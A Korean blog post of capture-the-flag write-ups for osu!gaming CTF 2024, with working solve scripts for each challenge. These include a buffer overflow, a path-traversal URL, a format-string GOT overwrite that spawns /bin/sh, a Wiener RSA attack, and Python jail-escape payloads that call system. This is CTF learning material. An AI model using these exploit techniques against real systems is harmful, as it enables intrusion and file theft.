ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

osu!gaming CTF 2024
CTF

osu!gaming CTF 2024

2024. 3. 4. 19:18

 


 

[solved]

 

pwn/betterthanu

더보기
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>

FILE *flag_file;
char flag[100];

int main(void) {
    unsigned int pp;
    unsigned long my_pp;
    char buf[16];

    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    printf("How much pp did you get? ");
    fgets(buf, 100, stdin);
    pp = atoi(buf);

    my_pp = pp + 1;

    printf("Any last words?\n");
    fgets(buf, 100, stdin);

    if (pp <= my_pp) {
        printf("Ha! I got %d\n", my_pp);
        printf("Maybe you'll beat me next time\n");
    } else {
        printf("What??? how did you beat me??\n");
        printf("Hmm... I'll consider giving you the flag\n");

        if (pp == 727) {
            printf("Wait, you got %d pp?\n", pp);
            printf("You can't possibly be an NPC! Here, have the flag: ");

            flag_file = fopen("flag.txt", "r");
            fgets(flag, sizeof(flag), flag_file);
            printf("%s\n", flag);
        } else {
            printf("Just kidding!\n");
        }
    }

    return 0;
}

변수의 선언은 pp, my_pp, buf 순으로 되어 buf가 스택 바닥쪽에 있을 것 같지만,

실제 스택에선 buf 뒤에 pp, my_pp가 있다.

 

따라서 buf에 100만큼 입력할 때 pp, my_pp를 오버라이트 할 수 있다.

from pwn import *

context.log_level = 'debug'

# p = process('./challenge')
p = remote('chal.osugaming.lol', 7279) 

p.sendlineafter(b'get? ',b'1')
p.sendlineafter(b'words?',b'a'*0x10 + b'\x00'*0xc + p32(727))

p.interactive()
osu{i_cant_believe_i_saw_it}

 

reverse/SAT-before-osu

더보기

손으로 풀기엔 오래걸리는 수식들이 주어진다.

b + c + w = 314

t + d + u = 290

p + w + e = 251

v + l + j = 274

a + t + b = 344

b + j + m = 255

h + o + u = 253

q + l + o = 316

a + g + j = 252

q + x + q = 315

t + n + m = 302

d + b + g = 328

e + o + m = 246

v + v + u = 271

f + o + q = 318

s + o + j = 212

j + j + n = 197

s + u + l = 213

q + w + j = 228

i + d + r = 350

e + k + u = 177

w + n + a = 288

r + e + u = 212

q + l + f = 321

 

수식의 해를 구할 땐 z3모듈을 사용한다.

(gpt를 이용해서 코드 짜달라고 함)

from z3 import *

s = Solver()
f = open('ctf\osu\SAT-before-osu\dist.txt')

formulas_str = f.readlines()

# 변수 선언을 위한 빈 리스트 생성
variables = []

# 수식 생성을 위한 빈 리스트 생성
formulas = []

# 문자열로 된 수식을 순환하면서 수식을 BitVec로 변환
for formula_str in formulas_str:
    if formula_str.strip():  # 빈칸 제거
        formula_list = formula_str.split(' ')  # 빈칸을 기준으로 분할
        # 변수와 상수 추출
        var_1 = BitVec(formula_list[0], 32)
        var_2 = BitVec(formula_list[2], 32)
        var_3 = BitVec(formula_list[4], 32)
        # 수식을 만들어 수식 리스트에 추가
        formulas.append(var_1 + var_2 + var_3 == int(formula_list[6]))

# 모든 수식을 And() 함수로 결합
combined_formula = And(formulas)

# Solver 생성
solver = Solver()

# 결합된 수식을 Solver에 추가
solver.add(combined_formula)

# Solver가 문제를 해결할 수 있는지 확인
if solver.check() == sat:
    # 해 출력
    m = solver.model()
    for d in sorted(m.decls(), key=lambda v: str(v)):
        print(chr(m[d].as_long() & 0xff),end='')
else:
    print("Unsatisfiable")
osu{0rZ_p3PpY_my_s4v1oR}

 

web/mikufanpage

더보기
const express = require('express'); 
const path = require('path');
  
const app = express(); 
const PORT = process.env.PORT ?? 3000;

app.use(express.static(path.join(__dirname, 'public')));
  
app.listen(PORT, (err) =>{ 
    if(!err) 
        console.log("mikufanpage running on port "+ PORT) 
    else 
        console.log("Err ", err); 
}); 

app.get("/image", (req, res) => {
    if (req.query.path.split(".")[1] === "png" || req.query.path.split(".")[1] === "jpg") { // only allow images
        res.sendFile(path.resolve('./img/' + req.query.path));
    } else {
        res.status(403).send('Access Denied');
    }
});

/image에 get으로 접근할 때 path 파라미터의 값을 검사한다.

'.' 문자를 기준으로 문자열을 분리해서 검사하는 단순한 로직이므로 우회 가능하다.

https://mikufanpage.web.osugaming.lol/image?path=.png./../flag.txt
osu{miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku}

 

crypto/base727

더보기

base727이라는 요상한 형태의 문제다.

import binascii

flag = open('flag.txt').read()

def encode_base_727(string):
    base = 727
    encoded_value = 0

    for char in string:
        encoded_value = encoded_value * 256 + ord(char)

    encoded_string = ""
    while encoded_value > 0:
        encoded_string = chr(encoded_value % base) + encoded_string
        encoded_value //= base

    return encoded_string

encoded_string = encode_base_727(flag)
print(binascii.hexlify(encoded_string.encode()))

일단 문자열을 hex 값으로 바꾸고, 

727로 나눈 나머지 값을 encoded_string에 저장한다.

그리고 727로 나눈  몫을 다음 라운드로 가져가서

727로 나누고 나머지 값을 encoded_string에 저장하는 과정을 0이 될 때까지 반복한다.

  이 과정을 역산하면 평문을 복원할 수 있다.

 

문제에서 인코딩 문자열은 주어지는데

hexlify(encoded_string.enocde())를 거쳐서 나온 결과다.

따라서 decode()를 해주고 ord로 원래 숫자로 복원해준 뒤 역연산을 수행해야 한다. 

def decode_base_727(hex_str):
    utf8_str = bytes.fromhex(hex_str).decode()
    plain_str = 0
    
    for u in utf8_str:
        plain_str = plain_str*727 + ord(u)
    
    return plain_str

encoded_str = "06c3abc49dc4b443ca9d65c8b0c386c4b0c99fc798c2bdc5bccb94c68c37c296ca9ac29ac790c4af7bc585c59d"
result = hex(decode_base_727(encoded_str))[2:]
byte_string = bytes.fromhex(result)
print(byte_string.decode("ASCII"))
osu{wysiwysiwysiywsywiwywsi}

 

crypto/ROSSAU

더보기

rsa weiner 툴을 이용해서 풀 수 있다.

https://github.com/pablocelayes/rsa-wiener-attack

 

GitHub - pablocelayes/rsa-wiener-attack: A Python implementation of the Wiener attack on RSA public-key encryption scheme.

A Python implementation of the Wiener attack on RSA public-key encryption scheme. - pablocelayes/rsa-wiener-attack

github.com

 

 해당 레포지토리를 클론하고 RSAwienerHacker.py에 다음과 같이 코드를 추가해준다.

'''
Created on Dec 14, 2011

@author: pablocelayes
'''

import ContinuedFractions, Arithmetic

def hack_RSA(e,n):
    '''
    Finds d knowing (e,n)
    applying the Wiener continued fraction attack
    '''
    _, convergents = ContinuedFractions.rational_to_contfrac(e, n)
    
    for (k,d) in convergents:
        
        #check if d is actually the key
        if k!=0 and (e*d-1)%k == 0:
            phi = (e*d-1)//k
            s = n - phi + 1
            # check if the equation x^2 - s*x + n = 0
            # has integer roots
            discr = s*s - 4*n
            if(discr>=0):
                t = Arithmetic.is_perfect_square(discr)
                if t!=-1 and (s+t)%2==0:
                    print("Hacked!")
                    return d

e = 876603837240112836821145245971528442417
n = 5912718291679762008847883587848216166109
d = hack_RSA(e,n)
print(d)
124493

124493번째 유저의 이름이 플래그이다.

https://osu.ppy.sh/users/124493
osu{chocomint}

 

web/when-you-dont-see-it

더보기

주어지는 프로필 페이지에서 소스 코드 보기를 누른 다음 flag를 검색하면

base64로 인코딩된 플래그를 찾을 수 있다.

osu{ok_u_see_me}

 


 

[unsolved]

 

pwn/miss-analyzer

더보기

일단 fsb 오랜만에 봐서 뇌정지 왔고 시간도 오버되서 그냥 롸업 봐버린 문제

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rbx
  char byte; // [rsp+15h] [rbp-14Bh]
  __int16 v6; // [rsp+16h] [rbp-14Ah]
  char *lineptr; // [rsp+18h] [rbp-148h] BYREF
  size_t n; // [rsp+20h] [rbp-140h] BYREF
  void *ptr; // [rsp+28h] [rbp-138h] BYREF
  size_t binsize; // [rsp+30h] [rbp-130h] BYREF
  void *ptr2; // [rsp+38h] [rbp-128h] BYREF
  char format[264]; // [rsp+40h] [rbp-120h] BYREF
  unsigned __int64 v13; // [rsp+148h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( 1 )
  {
    puts("Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):");
    lineptr = 0LL;
    n = 0LL;
    if ( getline(&lineptr, &n, stdin) <= 0 )    // get line
      break;
    v3 = lineptr;
    v3[strcspn(lineptr, "\n")] = 0;             // \n to \0
    if ( !*lineptr )
      break;
    binsize = hexs2bin(lineptr, &ptr);          // hex to bin
    ptr2 = ptr;
    if ( !binsize )
    {
      puts("Error: failed to decode hex");
      return 1;
    }
    puts("\n=~= miss-analyzer =~=");
    byte = read_byte(&ptr2, &binsize);          // get 1byte #1
    if ( byte )
    {
      switch ( byte )
      {
        case 1:
          puts("Mode: osu!taiko");
          break;
        case 2:
          puts("Mode: osu!catch");
          break;
        case 3:
          puts("Mode: osu!mania");
          break;
      }
    }
    else
    {
      puts("Mode: osu!");
    }
    consume_bytes(&ptr2, &binsize, 4);          // for(4) { read_byte(&ptr2, &binsize) } #2~5
    read_string(&ptr2, &binsize, format, 0xFFu);
    printf("Hash: %s\n", format);
    read_string(&ptr2, &binsize, format, 0xFFu);
    printf("Player name: ");
    printf(format);
    putchar('\n');
    read_string(&ptr2, &binsize, format, 0xFFu);
    consume_bytes(&ptr2, &binsize, 10);         // for(10) { read_byte(&ptr2, &binsize) }
    v6 = read_short(&ptr2, &binsize);
    printf("Miss count: %d\n", (unsigned int)v6);
    if ( v6 )
      puts("Yep, looks like you missed.");
    else
      puts("You didn't miss!");
    puts("=~=~=~=~=~=~=~=~=~=~=\n");
    free(lineptr);
    free(ptr);
  }
  return 0;
}
size_t __fastcall hexs2bin(const char *a1, void **a2)
{
  char v3; // [rsp+16h] [rbp-1Ah] BYREF
  char v4; // [rsp+17h] [rbp-19h] BYREF
  size_t i; // [rsp+18h] [rbp-18h]
  size_t size; // [rsp+20h] [rbp-10h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  if ( !a1 || !*a1 || !a2 )
    return 0LL;
  size = strlen(a1);
  if ( (size & 1) != 0 )
    return 0LL;
  size >>= 1;
  *a2 = malloc(size);
  memset(*a2, 0x41, size);
  for ( i = 0LL; i < size; ++i )
  {
    if ( !(unsigned int)hexchr2bin((unsigned int)a1[2 * i], &v3)
      || !(unsigned int)hexchr2bin((unsigned int)a1[2 * i + 1], &v4) )
    {
      return 0LL;
    }
    *((_BYTE *)*a2 + i) = v4 | (0x10 * v3);
  }
  return size;
}
__int64 __fastcall read_byte(_QWORD *a1, _QWORD *a2)
{
  unsigned __int8 v3; // [rsp+1Fh] [rbp-1h]

  if ( !*a2 )
  {
    puts("Error: failed to read replay");
    exit(1);
  }
  v3 = *(_BYTE *)(*a1)++;
  --*a2;
  return v3;
}
__int64 __fastcall consume_bytes(_QWORD *a1, _QWORD *a2, int a3)
{
  __int64 result; // rax
  unsigned int i; // [rsp+2Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( (int)i >= a3 )
      break;
    read_byte(a1, a2);
  }
  return result;
}

 

 분석을 하다보면 '0b'를 기준으로 파싱을 수행하는 것을 알 수 있다.

 구조를 파악해서 페이로드를 작성하면 printf(format)에서 fsb를 터뜨릴 수 있다.

 got overwrite로 strlen을 system으로 오버라이트 한다.

from pwn import *
import binascii

context.log_level = 'debug'
context.bits = '64'

# p = process('./analyzer')
p = remote('chal.osugaming.lol', 7273) 
libc = ELF('libc.so.6')
e = ELF('./analyzer')

pay = b'41'*5 + b'0b' + b'00' + b'0b' + b'8002' + b'7c25700a'*0x40 + b'0b' + b'44'*0x45 + b'0b' + b'45'*0x46
p.sendlineafter(b'/analyzer):',pay)

for _ in range(3):
    p.recvuntil(b'|')
libc_base = int(p.recvline()[:-1],16) - 0x114887

print('[libc]',hex(libc_base))

libc.address = libc_base
pay = fmtstr_payload(14, {e.got['strlen']: libc.sym['system']})
print(len(pay),pay)
pay = b'\x41'*5 + b'\x0b' + b'\x00' + b'\x0b' + int.to_bytes(len(pay),1,'little') + pay + b'\x0b' + b'\x00' + b'\x0b' + b'\x45'*0x46
pay = binascii.hexlify(pay)
p.sendlineafter(b'/analyzer):',pay)

pay = b'/bin/sh'
p.sendlineafter(b'/analyzer):',pay)

p.interactive()
osu{1_h4te_c!!!!!!!!}

 

pwn/osujail

더보기

python jailbreak 문제인데 처음 봤다.

글로벌 빌트인을 다 없앴고, 필터링이 존재한다.

backup_len = len
backup_eval = eval
backup_print = print
backup_input = input
backup_all = all
backup_ord = ord

def rescued_osu(input):
    return input.count('o') == 1 and input.count('s') == 1 and input.count('u') == 1

def caught_by_guards(input):
    return '[' in input or ']' in input or '{' in input or '}' in input or not backup_all(0 <= backup_ord(c) <= 255 for c in input)

globals()['__builtins__'].__dict__.clear()

input = backup_input()
if caught_by_guards(input) or not rescued_osu(input):
    backup_print('[You failed to break the jail]')
else:
    backup_print(backup_eval(input,{},{}))

 

https://github.com/SuperStormer/writeups/tree/master/osugamingctf_2024/osujail

 

라업 봐도 잘 모르겠다 ㅋㅋ..

다른 익스 코드 보면서 천천히 이해해보는걸로..

((f := lambda: (0, (), 1, 133, '\x73y\x73tem', '\x73h')),f.__dict__.update((('c\x6f_name\x73',('__cla\x73\x73__', 'mr\x6f', '__\x73\x75bcla\x73\x73e\x73__', '__init__', '__gl\x6fbal\x73__')), ('c\x6f_c\x6fde',b'd\x01j\x00\xa0\x01\xa1\x00d\x02\x19\x00\xa0\x02\xa1\x00d\x03\x19\x00j\x03j\x04d\x04\x19\x00d\x05\x83\x01S\x00'))),f.__setattr__('__c\x6fde__', f.__code__.replace(**f.__dict__)),f())
(lambda a: (lambda b : (lambda c: b(c, '\x5F\x5F\x67\x6C\x6F\x62\x61\x6C\x73\x5F\x5F').__getitem__('\x73\x79\x73\x74\x65\x6D')('cat flag.txt'))(b(a, '\x5F\x5F\x73\x75\x62\x63\x6C\x61\x73\x73\x65\x73\x5F\x5F')().__getitem__(-4).__init__))(a.__dict__.__getitem__('\x5F\x5F\x67\x65\x74\x61\x74\x74\x72\x69\x62\x75\x74\x65\x5F\x5F')))('o'.__getattribute__('\x5F\x5F\x63\x6C\x61\x73\x73\x5F\x5F').__base__)
(g:=().__init__().__new__.__self__.__getattribute__,d:=().__doc__,O:=d.__getitem__(34),S:=d.__getitem__(19),U:=d.__getitem__(1),x:=g(g((),"__cla"+S+S+"__"),"__ba"+S+"e__"),i:=g(x,"__"+S+U+"bcla"+S+S+"e"+S+"__")().__getitem__(-4).__init__,g(i,"__gl"+O+"bal"+S+"__").__getitem__(S+"y"+S+"tem")(S+"h"))
osu{3z_orid1n4ry_pyj4il_ch4ll}

'CTF' 카테고리의 다른 글

Pearl CTF  (0) 2024.03.11
Shakti CTF 2024  (0) 2024.03.10
TetCTF 2024  (0) 2024.01.29
vsCTF 2023  (0) 2023.09.25
CSAW CTF Qualification Round 2023  (0) 2023.09.18
    'CTF' 카테고리의 다른 글
    • Pearl CTF
    • Shakti CTF 2024
    • TetCTF 2024
    • vsCTF 2023
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바